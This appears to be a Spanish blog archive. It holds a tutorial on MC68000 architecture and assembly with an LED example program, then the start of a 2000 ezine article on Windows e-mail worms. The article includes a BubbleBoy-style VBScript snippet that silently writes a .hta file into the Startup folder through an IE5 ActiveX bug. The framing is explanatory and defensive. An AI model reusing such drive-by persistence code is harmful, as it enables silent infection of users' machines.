RESET#: Es una linea bidireccional: De forma entrante inicializa el micro. De forma saliente fuerza la inicializacion del entorno.
HALT#: Es bidireccional: Como entrada detiene la CPU. Como salida indica al subsistema que la CPU se ha detenido.
BR# (Bus Request): Peticion de bus para DMA.
BG# (Bus Grant): Concesion de bus.
BGACK# (Bus Acknowledge): Reconocimiento de concesión.
E: Salida de reloj para perifericos de la familia 68000. Frecuencia de 1/10 CLK
VMA# (Valid Memory Address): Indica que el bus de direcciones contiene una direccion válida.
VPA# (Valid Peripherial Address): Indica que la dirección pertenece a un periférico síncrono.
FC* (Function Codes): Señales de status.

3. El Modelo de Programación

El MC68000 tiene dos modos de funcionamiento:

Modo Usuario: No se pueden ejecutar ciertas instrucciones y solo se accede al byte bajo del registro de estado.
- 8 registros de Datos de 32 bits (D0-D7)
- 7 registros de direcciones de 32 bits (A0-A6)
- PC (Contador de programa) de 32 bits
- SP (Stack Pointer o Puntero de Pila de Usuario) de 32 bits (A7)
- SR (Registro de estado) 8 bits
Modo Supervisor: Se accede a todo el juego de instrucciones y a todos los registros.
- 8 registros de Datos de 32 bits (D0-D7)
- 7 registros de direcciones de 32 bits (A0-A6)
- PC (Contador de programa) de 32 bits
- SSP (Stack Pointer o Puntero de Pila de Usuario) de 32 bits (A7)
- SR (Registro de estado) 16 bits

[Nota:] Los registros de datos, direcciones y contador de programa son físicamente los mismos para los dos modos.

Los punteros de pila hay uno físicamente para cada modo.

El Registro de estado es físicamente el mismo: El usuario solo utiliza el byte menos significativo, y el supervisor el registro entero.

[Nota:] Los registros que almacenan direcciones (A*, Sp, CP) son de 32 bits pero solo utilizan los 24 bits menos significativos.

[Nota:] Cuando vallamos a utilizar la pila en un programa (ya sea de usuario, para las subrutinas, o de supervisor para las interrupciones) es necesario inicializarla, sino el micro generará un error.

La de usuario la podemos inicializar así:

MOVE #$40000,A7

La de supervisor:

ORG $00000
DC.L $40000

Registro de Estados (SR):

bit 15 14 13 12 11 10 9 8 | 7 6 5 4 3 2 1 0

flag T # S # # I2 I1 I0 | # # # X N Z V C

[Nota:] El byte más significativo no es accesible por el modo usuario

T (Trace): Si está a "1" el micro funciona en modo traza (Paso a paso)
S (Status): Si está a "1" estamos en modo Supervisor Si esta a "0" estamos en modo Usuario
I2 I1 I0 (Máscara de interrupción): Si un periférico solicita una interrupción, el nivel de prioridad debe ser superior al codificado por la máscara.
X (Bit de Extension): Indica el acarreo en operaciones BCD
N (Flag de Signo): Nos indica si la ultima operacion genero un numero negativo.
Z (Flag de Zero): Indica que en la ultima operacion se obtuvo un 0.
V (Flag de Overflow): Cuando esta a "1" indica que la ultima operacion genero un desbordamiento.
C (Flag de Carry): Indica ke en la ultima operacion se genero un acarreo

4. La Memoria

El 68000 utiliza el formato Big Endian para el almacenamiento de datos superiores al byte en memoria. Esto quiere decir que el byte más significativo se almacena en posiciones de memoria bajas (cercanas al $00000).

$00000

byte alto

byte bajo

$FFFFF

La señal R/W# nos indica si vamos a leer o a escribir en memoria:

R/W#	Acción
0	Escribir
1	Leer

La señal AS# se envia al sistema de memoria para decir si la dirección que se ha puesto en el bus de direcciones es válida.

AS#	Indicación
0	Dirección válida
1	Dirección no válida

UDS# y LDS#

UDS#	LDS#	Acceso
0	0	Tamaño palabra (16 bits)
0	1	Byte bajo
1	0	Byte alto
1	1	No hay acceso a memoria

La señal DTACK# viene del sistema de memoria, e indica si se ha conseguido acceder con exito

DTACK# \| Indicación
0		Se ha accedido
1		No se ha accedido

5. Modos de direccionamiento

Los modos de direccionamiento son los formas de indicar al micro donde encontrar un dato determinado, es decir, cual es su dirección efectiva (direccion física del dato). En el 68000 tenemos 13 modos de direccionamiento:

Direccionamiento Implícito

No se necesita operando. Se refiere a un registro definido en la operación.

MOVE $23345,CCR

Direccionamiento Inmediato

Se expresa la dirección explicitamente en la operación. Se utiliza el caracter # antes de la dirección.

MOVE #$9F,D5

Direccionamiento Inmediato Rápido

Igual que antes, pero el valor es:

Número entre 1 y 8 para suma y resta.

Número entre -128 y 127 en instrucciones de movimiento de datos.

Se añade el caracter Q al mnemónico y el # antes del número.

ADDQ #6,A0

Direccionamiento Absoluto Largo

El argumento es la dirección efectiva a la que se accede.

MULS $25022,D2

Direccionamiento Absoluto Corto

El argumento es una dirección de tamaño palabra (Word, 2 bytes)

Si el valor está entre $0000-$7FFF accedemos a los 32k mas bajos de memoria.

Si el valor está entre $8000-$FFFF accedemos a los 32k mas altos de memoria.

EORI.B #$FF,$8000

Direccionamiento directo a registro

El operando es un registro interno, D* o A*

SUB D1,A2

Direccionamiento Indirecto

El operando es una dirección de memoria intermedia, donde está contenida la dirección efectiva.

Esta dirección de memoria esta contenida en un registro de dirección.

ASL.W (A3)

Direccionamiento Indirecto con Postincremento

Igual que el anterior, pero despues de obtener el argumento el registro de direcciones se incrementa en un valor, segun el tamaño:

.B (Byte): Se incrementa en 1

.W (Word): Se incrementa en 2

.L (LongWord): Se incrementa en 4

Se utiliza la representacion (A*)+

CMPM (A0)+,(A4)+

Esto es muy útil para recorrer arrays y para actualizar el puntero de pila al sacar datos (El 68000 no tiene instrucción para eso)

Direccionamiento Indirecto con Predecremento

Primero se decrementa el valor del registro de direcciones y luego se accede al dato.

OR.B D3,-(A0)

Se utiliza para introducir datos en pila.

Direccionamiento Indirecto con Desplazamiento

La dirección efectiva se obtiene sumando un valor al contenido del registro de direcciones.

El desplazamiento es un numero con signo de 16 bits.

CHR $24(A4),D3

Direccionamiento Indirecto con Indice y Desplazamiento

La dirección efectiva se halla sumando 3 valores:

El contenido de un registro de direcciones.
Un desplazamiento de 8 bits.
Un registro de datos.

Formato: desplazamiento(A*,D*.B|W|L)

DIVU 8(A3,D7.L),D5

Direccionamiento Relativo con Desplazamiento

Igual que el de desplazamiento pero con el contador de programa.

LEA $200(PC),A3

Direccionamiento Relativo con Indice y Desplazamiento

Igual que el de indice y desplazamiento pero con el PC

MOVE $B(PC,D1.L),D5

6. El juego de instrucciones de MC68000

Aquí va un extracto del juego de instrucciones. Es sencillo, pero suficiente.

[Nota:] Omitiré ciertas instrucciones, puesto que este artículo está pensado para aprender a programar un micro, no para profundizar en el 68000. Si estás interesado puedes buscar en la web el juego completo.

[Nota:] Este juego esta escrito resumidamente, y tiene el único fin de aprender un poco a programar el micro. Si se quiere utilizar con fines mas complejos, recomiendo que se busque las especificaciones completas de este código, ya que vendrán más extensamente comentadas.

Comentarios

Los comentarios comienzan por * o por ' y el ensamblador los ignora al generar el código.

Representacion de datos

Dato	Prefijo	Ejemplo
Decimal	Sin prefijo	63
Binario	%	%111111
Hexadecimal	$	$3F
ASCII	' '	'NETSEARCH'

Operaciones

Estas operaciones pueden realizarse entre registros dentro de una instrucción.

Por ejemplo:

NETSEARCH EQU 20
EZINE EQU 30
MOVE #(NETSEARCH + EZINE / 2),D2

sería lo mismo que

MOVE #25,D2

| OR lógico
^ OR Exclusivo (aka XOR)
& AND lógico
- Suma de enteros
- Resta de enteros
- Multiplicación de enteros
/ División entera de enteros
> Desplazamiento lógico hacia la derecha
< Desplazamiento lógico hacia la izquierda
- (prefijo) Signo positivo
- (prefijo) Signo negativo
! Negacion lógica
( ) Parentesis sin límite de nivel
Etiquetas: Se utilizan para demarcar determinada posicion, y se emplean sobretodo para las subrutinas.
Extensiones: Se colocan en ciertas instrucciones.

En instrucciones de manejo de datos:

.B	El operando es un byte
.W	El operando es una palabra (Por defecto para datos)
.L	El operando es una palabra larga (Por defecto para direcciones)

En instrucciones de tipo branch (ramificación):

.S	Desplazamiento corto (8 bits)
.L	Desplazamiento largo (16 bits)

Directivas o pseudoinstrucciones

(Se ponen en el código fuente, pero solo los emplea el compilador, no generan código)

Directiva	Uso	Descripción
ABSOLUTE		Indica que el código que se generará es absoluto (las referencias a posiciones de memoria). El código absoluto solo se ejecutará correctamente si se encuentra en las posiciones de memoria para las que ha sido ensamblado.
RELATIVE		Modo por defecto. Las referencias a posiciones de memoria seran relativas al Contador de programa (PC)
ORG* (ORIGIN)	'ORG expresión'	Indica la posición de memoria a partir de la cual se coloca el código que se genere a continuación. En código absoluto puede aparecer 20 veces, y en relativo solo 1. ORG $25000
END		Debe aparecer al final del programa. El código escrito a continuación se ignorará.
DC	DC DC.L expr, expr,... DC.B expr, expr,...	Inicializa espacio en memoria. DC.W $2500 DC.L 'HOLA',$00
DS	DS.B\|W\|L expresión	Reserva tantos bytes\|words\|longword como se ponga en expresión. DS.W 2 -> DC.W 0,0
EQU	etiqueta EQU expresión	Asigna el valor de la expresión a una etiqueta. NUMERO EQU $400

Existen más, pero las omito.

Instrucciones de transferencia de datos

Instrucción	Uso	Descripción
MOVE	MOVE.B\|W\|L origen, destino	Transfiere datos del origen al destino. MOVE #$12,D3
MOVEA	MOVEA origen,A*	Transfiere una dirección. MOVEA $27,A2
MOVEM	MOVEM.W\|L lista_reg,destino MOVEM.W\|L origen,lista_reg	Transfiere múltiples registros
MOVEQ	MOVEQ #n,D*	Transferencia rapida a registro de datos n es un numero de 8 bits en complemento a 2.
MOVEP	MOVEP.W\|L O(A2),D* MOVEP.W\|L D*,O(A2)	Transferencia a perifericos.

Instrucciones de intercambio

Instrucción	Uso	Descripción
EXG (Exchange)	EXG expresión, expresión	Permite intercambiar dos registros (de direcciones, de datos o uno con otro)
SWAP	SWAP D* registro de datos.	Intercambia las dos mitades de un

Instrucciones de manejo de direcciones efectivas

Instrucción	Uso	Descripción
LEA (Load Effective Address)	LEA fuente,A*	Carga en un registro de direcciones la direccion efectiva del operando.
PEA (Push Effective Address)	PEA fuente,A*	Igual que el anterior, pero guarda la direccion efectiva en la pila.

Instrucciones de suma

Instrucción	Uso	Descripción
ADD	ADD.B\|W\|L origen,destino	Suma binaria. Uno de los dos operandos ha de ser un registro de datos. ADD #$4F,D3
ADDA	ADDA.B\|W\|L fuente,A*	Suma de dirección. ADDA.W #$5,A2
ADDI	ADDI.B\|W\|L #n,destino	Suma inmediata.
ADDQ	ADDQ.B\|W\|L #n,destino	Suma rápida. 1 <= n <= 8
ADDX	ADDX.B\|W\|L origen,destino	Suma extendida. origen + destino + X = destino X es el flag extendido del registro de estados

Instrucciones de Resta

Instrucción	Uso	Descripción
SUB	SUB.B\|W\|L origen,destino	Resta binaria.
SUBA	SUB.B\|W\|L origen,A*	Resta de direcciones.
SUBI	SUBI.B\|W\|L #n,destino	Resta inmediata.
SUBQ	SUBQ.B\|W\|L #n,destino	Resta rapida.
SUBX	SUBX.B\|W\|L origen,destino	Resta extendida.

Instrucciones de negación

Instrucción	Uso	Descripción
NEG	NEG.B\|W\|L operando	Niega el operando.
NEGX	NEGX.B\|W\|L operando	Negacion con extensión.

Instrucciones de multiplicación

Instrucción	Uso	Descripción
MULS	MULS.W operando,D*	Multplicación con signo. Los operandos son de 16 bits y el resultado de 32 bits.
MULU	MULU.W operando,D*	Multiplicación sin signo. El resultado es de 32 bits.

Instrucciones de división

Instrucción	Uso	Descripción
DIVS	DIVS.W operando,D*	División con signo. El la palabra más significativa del resultado es el resto, y la menos significativa el cociente.
DIVU	DIVU.W operando,D*	División sin signo.

Instrucciones de comparación

Instrucción	Uso	Descripción
CMP	CMP.B\|W\|L operando,D*	Compara registros de datos.
CMPA	CMPA.B\|W\|L operando,D*	Comparacion inmediata.
CMPM	CMPM.B\|W\|L (A)+,(A)+	Comparacion de posiciones de memoria.

Instrucciones de extensión de signo

Instrucción	Uso	Descripción
EXT	EXT.W\|L D*	Extiende el bit de signo del operando.

Instrucción de puesta a cero

Instrucción	Uso	Descripción
CLR	CLR.B\|W\|L operando	Pone a 0 el operando.

Testeo de operandos

Instrucción	Uso	Descripción
TST	TST.B\|W\|L operando	Compara 0 con el operando.
TAS	TAS.B operando	Comprueba operando y pone a 1 su bit de signo.

Instrucciones de aritmética BCD

Instrucción	Uso	Descripción
ABCD	ABCD.B\|W\|L fuente,destino	Suma en código BCD con extensión.
SBCD	SBCD.B\|W\|L fuente,destino	Resta BCD con extensión.
NBCD	NBCD.B\|W\|L operando	Negacion en BCD con extensión.

Instrucciones lógicas

Instrucción	Uso	Descripción
AND	AND.B\|W\|L fuente,destino	Realiza un Y lógico entre los operandos.
ANDI	ANDI.B\|W\|L #n,operando	Y logico inmediato. #n es un número decimal entre 1 y 8.
OR	OR.B\|W\|L origen,destino	Realiza un O lógico.
ORI	ORI.B\|W\|L #n,destino	O lógico inmediato.
NOT	NOT.B\|W\|L operando	Negación lógica.
EOR	EOR.B\|W\|L D*,destino	Realiza un O exclusivo (aka XOR)
EORI	EORI.B\|W\|L #n,destino	O exclusivo inmediato.

Instrucciones de chequeo de bits

Instrucción	Uso	Descripción
BTST	BTST #n,destino BTST D*,destino	Comprobamos un bit y reflejamos el estado de ese bit en el flag Z del registro de estados. #n es el bit a comprobar.
BCLR	BCLR #n,destino BCLR D*,destino	Comprueba el bit indicado y refleja el contenido en Z. Despues pone a 0 ese bit.
BSET	BSET #n,destino BSET D*,destino	Comprueba, actualiza Z y pone a 1 el bit.
BCHG	BCHG #n,destino BCHG D*,destino	Comprueba, actualiza Z e invierte el valor del bit.

Instrucciones de desplazamiento y rotación

Instrucción	Uso	Descripción
LSL	LSL.B\|W\|L Di,Dj desp = Di mod 64 LSL.B\|W\|L #n,D* desp = #n LSL destino desp = 1	Desplaza hacia la izquierda los bits tantas veces como desp. C <- bit\|bit\|bit\|...\|bit\|bit\|bit <- 0 \| X <-
LSR	LSR.B\|W\|L Di,Dj desp = Di mod 64 LSR.B\|W\|L #n,D* desp = #n LSR destino desp = 1	Desplaza hacia la derecha los bits tantas veces como desp. 0 -> bit\|bit\|bit\|...\|bit\|bit\|bit -> C \| -> X
ASL	ASL.B\|W\|L Di,Dj desp = Di mod 64 ASL.B\|W\|L #n,D* desp = #n ASL destino desp = 1	Desplazamiento aritmetico hacia la izquierda El flag V (overflow) se pone a 1 si el bit más significativo cambia en algún momento.
ASR	ASR.B\|W\|L Di,Dj desp = Di mod 64 ASR.B\|W\|L #n,D* desp = #n ASR destino desp = 1	Desplazamiento aritmetico hacia la derecha El flag V (overflow) se pone a 1 si el bit menos significativo cambia en algún momento.
ROL	ROL.B\|W\|L Di,Dj desp = Di mod 64 ROL.B\|W\|L #n,D* desp = #n ROL destino desp = 1	Rotación hacia la izquierda \| \| C <- bit\|bit\|bit\|...\|bit\|bit\|bit <-
ROR	ROR.B\|W\|L Di,Dj desp = Di mod 64 ROR.B\|W\|L #n,D* desp = #n ROR destino desp = 1	Rotación hacia la derecha. \| \| -> bit\|bit\|bit\|...\|bit\|bit\|bit -> C
ROXL	ROXL.B\|W\|L Di,Dj desp = Di mod 64 ROXL.B\|W\|L #n,D* desp = #n ROXL destino desp = 1	Rotación a izquierda con extensión. \| \| C <- bit\|bit\|bit\|...\|bit\|bit\|bit <- X <-
ROXR	ROXR.B\|W\|L Di,Dj desp = Di mod 64 ROXR.B\|W\|L #n,D* desp = #n ROXR destino desp = 1	Rotación a derecha con extensión \| \| - X -> bit\|bit\|bit\|...\|bit\|bit\|bit -> C

Instrucciones de control de programa (Saltos) incondicionales

Instrucción	Uso	Descripción
BRA (Branch)	BRA etiqueta	Ramificación incondicional (Salto de 8 o 16 bits relativo a PC) El PC apunta ahora a la dirección de etiqueta
BSR (Branch SubRoutine)	BSR etiqueta	Ramificación a subrutina. (Llamada a subrutina con esa etiqueta) Guarda el PC en la pila y cambia el PC a la dirección de etiqueta. 8 o 16 bits relativo a PC
JMP (Jump)	JMP destino	Salto. (Direccionamiento absoluto) El PC se pone la dir. de etiqueta.
JSR (Jump SubRoutine)	JSR destino	Salto a subrutina. Guarda el PC en pila y cambia PC por la dir. destino. Direccionamiento absoluto.
RTS (Return SubRoutine)	RTS	Retorno de subrutina. Recupera el PC de la pila (Volvemos al punto donde se llamo la subrutina)
RTR	RTR	Retorno de subrutina y reposición de los códigos de condición.

Saltos condicionales

cc: Condiciones base. Se colocan como sufijo a la instruccion condicional.

Aritmética con signo

GT (Greater Than) si >
LS (Less Than) si <
GE (Greater or Equal) si >=
LE (Less or Equal) si =<
VS (Overflow) si overflow
VC (No overflow) si no overflow
PL (Plus) si positivo
MI (Minus) si negativo

Aritmetica sin signo

HI (Higher) si mayor
CS (Carry Set) si menor
CC (Carry Clear) si mayor o igual
LS (Low or Same) si menor o igual
EQ (Equal) si igual
NE (Not Equal) si distinto
T (True) si cierto
F (False) si falso

Instrucción	Uso	Descripción
Bcc (Branch if)	Bcc etiqueta	Si se cumple cc salta a etiqueta (etiqueta -> PC) Dirección relativa a PC (8 o 16 bits)
DBcc	DBcc D*,etiqueta	Decrementar y ramificar. Mientras cc se cumple no se hace nada. Si cc no se cumple, se decrementa el registro D. Mientras D es distinto de -1, se salta a etiqueta.
Scc (Set)	Scc destino	Pone destino a 1 si la condicion se cumple o a 0 si no. El destino sera un byte.

Instrucción de no operación

Instrucción	Uso	Descripción
NOP	NOP	No hace nada. Solo consume tiempo de reloj (4 ciclos). Es útil para generar retrasos, reservas de espacio para futuras instrucciones o para substituir instrucciones sobrantes sin tener que modificar el resto del programa.

INSTRUCCIONES PRIVILEGIADAS

Las instrucciones privilegiadas solo son accesibles en modo supervisor.

Estas instrucciones son muchas de las anteriores pero aplicadas a los registros SR (Registro de estado), CCR (Registro de Códigos de Condición) y USP (Puntero de Pila de Usuario). Ademas, tenemos estas otras:

Instrucción	Uso	Descripción
RESET	RESET	Activa la linea de reset o produce una excepción (el micro no se reinicializa).
RTE (Return of Exception)	RTE	Retorna de una interrupción, restaurando
STOP	STOP #n	Se pone #n en SR y se para la ejecución. Para reanudar la ejecución es necesaria una interrupción.
CHK	CHK origen,D*	Compara un registro con unos limites. D* < 0 o D* > origen Si fuera de esos limites, se genera una interrupción 6 (Tipo trampa)
TRAP	TRAP #n	Se genera una interrupción trampa. #n esta entre 0 y 15, segun la prioridad.
TRAPV	TRAPV	Se genera una excepción de tipo trampa de orden 7 si el flag V (Overflow) esta a 1.

7. Subrutinas

A veces hay operaciones que se repiten durante un programa, y habría que reescribir todo el código de nuevo, con el consiguiente gasto de memoria y el engorro de reescribirlo. Para evitar esto se crean subrutinas, que son pedazos de código que podemos llamar mediante instrucciones de salto o ramificación. Físicamente, en memoria solo está una vez, pero puede utilizarse cuantas veces sea necesario. El funcionamiento básico de una subrutina es el siguiente:

Al llegar a una llamada a subrutina, se guarda en la pila la dirección a la que apunta ese momento el PC (Contador de programa). Entonces actualizamos el PC con la dirección de comienzo de la subrutina. Una vez termina la subrutina (Con la instruccion RTS o RTR), se recupera de la pila la direccion del PC y continuaremos en la siguiente instrucción a la llamada de la subrutina.

8. Excepciones

Las excepciones son acontecimientos, internos o externos al micro, que hacen que se interrumpa la ejecución para realizar una subrutina de atencion a esa excepción. Estas excepciones pueden ser:

Errores hardware
Errores intenos
Reset
Ejecución paso a paso
Interrupciones hardware
Interrupciones software

Cada excepcion tiene asociada una dirección de memoria donde se encuentra su vector de excepción. Ese vector contiene la dirección de comienzo de la rutina de excepción.

TABLA DE LOS VECTORES DE EXCEPCION DEL MC68000

[Nota:] El reset ocupa 2 vectores de excepcion

Nº vector	Dirección	Asignación
0	$000	Reset: SSP (Punt. de pila supervisor) inicial.
-	$004	Reset: PC inicial.
2	$008	Error de bus.
3	$00C	Error de dirección.
4	$010	Instrucción ilegal.
5	$014	División por cero.
6	$018	Instrucción CHK.
7	$01C	Instrucción TRAP.
8	$020	Violación de privilegio.
9	$024	Traza.
10	$028	Instrucción emulada 1010.
11	$02C	Instrucción emulada 1111.
12	$030	No asignado. Reservado.
13	$034	No asignado. Reservado.
14	$038	No asignado. Reservado.
15	$03C	Vector de interrupción no inicializado.
6-23	$044-$05C	No asignado. Reservado.
24	$060	Interrupción espúrea (Especie de timeout).
25	$064	Autovector de Interrupción de nivel 1 (IRQ1).
26	$068	Autovector de Interrupción de nivel 2 (IRQ2).
27	$06C	Autovector de Interrupción de nivel 3 (IRQ3).
28	$070	Autovector de Interrupción de nivel 4 (IRQ4).
29	$074	Autovector de Interrupción de nivel 5 (IRQ5).
30	$078	Autovector de Interrupción de nivel 6 (IRQ6).
31	$07C	Autovector de Interrupción de nivel 7 (IRQ7).
32-47	$080-$0BC	Vectores de la instrucción TRAP (1-15).
48-63	$0C0-$0FC	No asignado. Reservado.
64-255	$100-$3FC	Vectores de interrupción de usuario.

Dirección de excepción = Número de vector x 4

9. Interrupciones

Las interrupciones son el mecanismo básico de sincronización del micro con dispositivos externos. Quizá sean una de las cosas mas importantes en un micro.

Pueden ser generadas por hardware, a traves de las lineas IPL2 IPL1 e IPL0 o por software, mediante las instrucciones TRAP.

Existe tambien una interrupción especial llamada Interrupción Espúrea, que sirve para evitar esperas infinitas cuando el micro lleva mucho tiempo esperando (por ejemplo, se activa una IRQ por ruido, pero realmente nadie pide la interrupción).

Una interrupción funciona básicamente igual que una subrutina, con la diferencia de que se trabaja en modo supervisor (y por tanto, tambien utilizamos la pila de supervisor (SSP). ?Mecanismo de solicitud

En las líneas de interrupción se codifica el nivel de prioridad de la interrupción. Se utilizan los 7 Autovectores (ya que estamos hablando de una interrupción generada externamente, por un periférico, por ejemplo).

IPL2	IPL1	IPL0	Nivel de prioridad
0	0	0	7 (Máxima, no enmascarable)
0	0	1	6
0	1	0	5
0	1	1	4
1	0	0	3
1	0	1	2
1	1	0	1 (Mínima)
1	1	1	No se solicita interrupción

[Nota:] Como vemos, son lineas que se activan a nivel bajo (es decir, con un 0).

Se suele utilizar un codificador para generar estos códigos a partir de las 7 IRQ, pero eso ya lo veremos en próximos artículos.

Enmascaramiento

El enmascaramiento nos sirve para controlar si cuando se activa una interrupción y ya esta otra en ejecución se debe parar la primera o no. Esto se hace con la máscara de interrupción, codificada en el byte alto del registro de estado, como hemos visto anteriormente. Esta máscara se actualiza cuando se genera una interrupción, y si se genera otra, el nivel de prioridad de esta interrupción debe ser superior a la máscara, o se ignorará.

10. Ejemplo práctico

Aquí os dejo un pequeño ejercicio práctico para que veais como funciona el 68000. Tendreis que utilizar el simulador.

No voy a explicar como funciona, porque es bastante intuitivo. Simplemente, teneis que compilar y linkar el código y ejecutarlo en el simulador. Dentro del simulador, antes de ejecutar debereis configurar las posiciones de memoria de los puertos de entrada y de salida que necesiteis (aquí uso como entrada $60000 y como salida $60001) y configurar la ventana para que muestre esos puertos y ver su contenido durante la ejecución. Tambien podeis ejecutar en modo traza.

Bien, el objetivo es el siguiente:

Tenemos un sistema de 8 leds conectados a la posicion de memoria $60000 de un sistema digital con un micro MC68000. Cada uno de esos leds se enciende cuando recibe un "1" lógico, y se apaga al recibir un "0". En el puerto de entrada, situado en la posicion $60001, si se pone un 1 los leds deben parpadear mientras ese 1 siga ahí. Si se pone un 2, los leds deben hacer un efecto estilo el coche fantástico Kit (bueno, los malotes si lo preferis le poneis leds verdes y ya esta :P). Si se pone cualquier otro dato, los leds continuarán apagados.

Tambien tenemos un pulsador conectado a las lineas de interrupción, que genera una interrupción de nivel 2 (IRQ2). Si lo pulsamos, apagamos todos los leds.

[Nota:] Cada led esta conectado a un bit del primer byte del puerto de salida.

**** SIMULACION CON LEDS

     ABSOLUTE

     ORG     $00000
 DC.L        $40000  * Inicializamos la SSP
     DC.L    $25000

 ORG $68         * Inicializamos la IRQ2 (Su autovector
 DC.L    $26000  * es el $68) la direccion de comienzo
                 * de la rutina de interrupcion sera
                 * la $26000
     ORG     $25000

     MOVE.L  #$29000,A7   * Inicializacion de SP
INICIO
     CLR.L   D0        * Ponemos a 0 D0
     MOVE.B  $60000,D0 * Leer entrada
     CMPI.B  #1,D0     * Si es 1...
     BEQ     PARPADEO  * ...saltamos a parpadeo
     CMPI.B  #2,D0     * Si es 2...
     BEQ     COCHE     * ...saltamos a COCHE
     JMP     INICIO    * Sino, reiniciamos

**** Bucle FOR de $F a $0

WAIT
     MOVE.W  #$F,D1
ITER
     DBF     D1,ITER *
     RTS

**** Subrutina 1: Parpadeo

PARPADEO
     MOVE.B  #$FF,$60001 * Escribir 1's en el byte de salida (8 LEDS)
     JSR     WAIT * Hacemos un retardo (Subrutina Bucle FOR)
     MOVE.B  #$00,$60001 * Escribir 0's en salida
     CMPI.B  #1,D0
     BNE     INICIO
     JSR     WAIT
     JMP     PARPADEO

*** Subrutina 2: Coche Fantastico

COCHE
     MOVE    #1,D2
IZQUIERDA
     MOVE.B  D2,$60001 * Poner 1 en salida
     JSR     WAIT
     CMPI.B  #2,D0 * Comprobar que D0 sigue siendo 2...
     BNE     INICIO    * ...sino volvemos al comienzo
     MULU    #$2,D2 * Multiplicamos por 2 D2, asi tenemos el siguiente LED
                * que serian 1,2,4,8,16,32,64 y 128 en binario

 CMP     #128,D2 * Se para en el ultimo bit encendido y cambia de
                 * sentido
     BEQ     DERECHA
     JMP     IZQUIERDA
DERECHA
     MOVE.B  D2,$60001
     JSR     WAIT
     CMPI.B  #2,D0
     BNE     INICIO
     DIVU    #$2,D2
 CMP     #1,D2  * Se para en el primer bit encendido y cambia de
                * sentido

     BEQ     IZQUIERDA
     JMP     DERECHA

     ORG     $26000  * Direccion del codigo a continuacion

PUESTACERO
     MOVE.W  #0,D0 * Poner 0 en D0
     RTE

     END

I-Worms en Windows

2000-11-26T00:00:00+01:00

Este artículo lo publiqué originalmente en el número #4 de NetSearch Ezine, una revista electrónica sobre seguridad informática en el 2000.

Todo lo expuesto aquí no funciona deliberadamente (el código está alterado para que no pueda ser ejecutado), y solo funcionaba en Windows 98. Lo escribí para demostrar una vulnerabilidad en dicho software y así saber como evitar ser infectado.

En los tiempos que corren podemos leer en la prensa, en la televisión, la radio… como se habla mucho de virus de Internet, como Melissa, iloveyou…, que utilizan el correo electrónico para entrar en el sistema y “destrozarlo”.

Estos gusanos se han extendido por todo el mundo, y son temidos por la sociedad, aunque realmente no son tan catastróficos como los pintan.

Pero… ¿cual es la verdadera razón de que se hayan extendido a tan gran escala? Pues sencillamente que se extienden de la misma forma que se extendió en su día el famoso programa de Microsoft, Windows. Todos estos gusanos se extienden utilizando las herramientas que nos ofrece la propia Microsoft, ya que solo afectan a las aplicaciones de dicha empresa.

El virus Melissa, tan famoso el año pasado, utilizaba el lenguaje de macros de Microsoft Word y la libreta de direcciones de Microsoft Outlook para sus fines. El mas reciente, iloveu, emplea el scripting de Microsoft Windows, y aprovecha la fabulosa opción de esconder las extensiones en el navegador del sistema para engañar al pobre usuario que sin tener conocimientos básicos sobre como protegerse de agresiones externas (de lo que no les culpo, ya que la culpa es de los medios, que cada vez más se empeñan en asociar la seguridad informática a los “chicos malos”). Bueno, me dejo de preambulos y comienzo este pequeño vistazo a algunas de las técnicas que se emplean para realizar estos ataques, dejando claro que el problema esta en la falta de seguridad del software, y no en la mente retorcida de ciertos cerebritos que se dedican a reventar máquinas ajenas por placer. Ni que decir tiene que todo lo que exponga aquí tiene como fin el conocer como proteger nuestra maquina de este tipo de ataques, no el difundir como utilizarlo con fines poco éticos. Por ello, ciertas partes del código que muestre estaran incompletas o capadas, para que los script-kiddies no encuentren aquí su toys’r’us particular.

Aprobecho tambien este artículo para introducir un “nuevo” (por lo menos yo no he leido nada parecido hasta ahora) concepto al que he bautizado como “Troyano Pasivo”. Lo comentará al final de este artículo, y tambien adjuntare un sencillo pero poderoso ejemplo que he escrito, llamado DraZler.

Visual Basic Script (VBS): Los batch de Windows

VBS es un lenguaje de scripting que posee Windows. Sería la versión más reducida de Visual Basic, seguida de VBA (Visual Basic para Aplicaciones). Son scripts muy parecidos a JavaScript, y pueden utilizarse como un batch o como script en una Web, permitiendonos utilizar los controles ActiveX en la Web.

Una de las reglas básicas para comprometer un sistema es conseguir acceso al HD del ordenador. Por ello, los scripts de Java o de VB no permiten hacerlo desde una web. Bueno, miento. Si permiten hacerlo, pero nos saltaría el control ActiveX preguntando si queremos ejecutar ese código, ya que puede comprometer la seguridad de nuestra máquina.

Una primera técnica, un tanto rudimentaria, a mi parecer, es la que utilizó el gusano iloveu. Se trata de enviar el script como un attachment en un correo electrónico. El incauto usuario posiblemente lo ejecutará, ya que si consulta la línea del remitente, vera la dirección de un amigo o familiar (ya que el virus se envía utilizando la libreta de direcciones de la máquina infectada).

Tambien aprovecha las extensiones ocultas de Windows. Llama al archivo sample.txt.vbs, quedando a la vista únicamente sample.txt, de forma se podría pensar que nos han enviado un archivo de texto plano. Una vez que el archivo sea ejecutado, podemos hacer prácticamente cualquier cosa en esa máquina.

Una técnica más eficiente, aunque no tan conocida es la que utiliza el gusano BubbleBoy. Se trata de aprovechar un bug en las librerias de scriptlet en Internet Explorer 5.0. Dicho fallo nos permite volcar un archivo de texto plano en el disco duro de la máquina sin que los controles de seguridad de ActiveX lo revelen. Dicho archivo, colocado de forma estratégica, nos permite tomar la máquina practicamente al 100%. Este archivo podría ser volcado en el directorio Inicio de Windows, como una Aplicacion HTML (.hta), de forma que al reiniciar la computadora este sería ejecutado.

<object classid="clsid:06290BD5-48AA-11D2-8432-006008C3FBFC" id="Infect">
</object> <script language="VBScript"> Infect.Path ="C:\WINDOWS\MENU
INICIO\PROGRAMAS\INICIO\DETONANTE.HTA" Infect.Doc = Chr(13) & "Codigo" &
Chr(13) Infect.Write </script>

El código anterior volcaría el archivo detonante.hta en el directorio inicio de Windows. En este caso, el archivo no contendría ningun código. Esto, insertado en un email en formato HTML o en una web, infectaría al indefenso usuario que lo recibiese con Outlook 5 o que visitase la web con el explorer. Es más, si la infección llega a través del email, ni siquiera es necesario abrir el mensaje, ya que el propio Outlook ejecuta el código Javascript o VBS que contenga al utilizar la vista previa.

Al reiniciar el sistema, ese detonante seria ejecutado, abriendo una ventana, en la que se podría escribir un mensaje emulando un error. Y a partir de ahí, solo bastaría dar rienda suelta a nuestra imaginación.

Para parchear esta vulnerabilidad:

http://support.microsoft.com/support/kb/articles/Q240/3/08.ASP

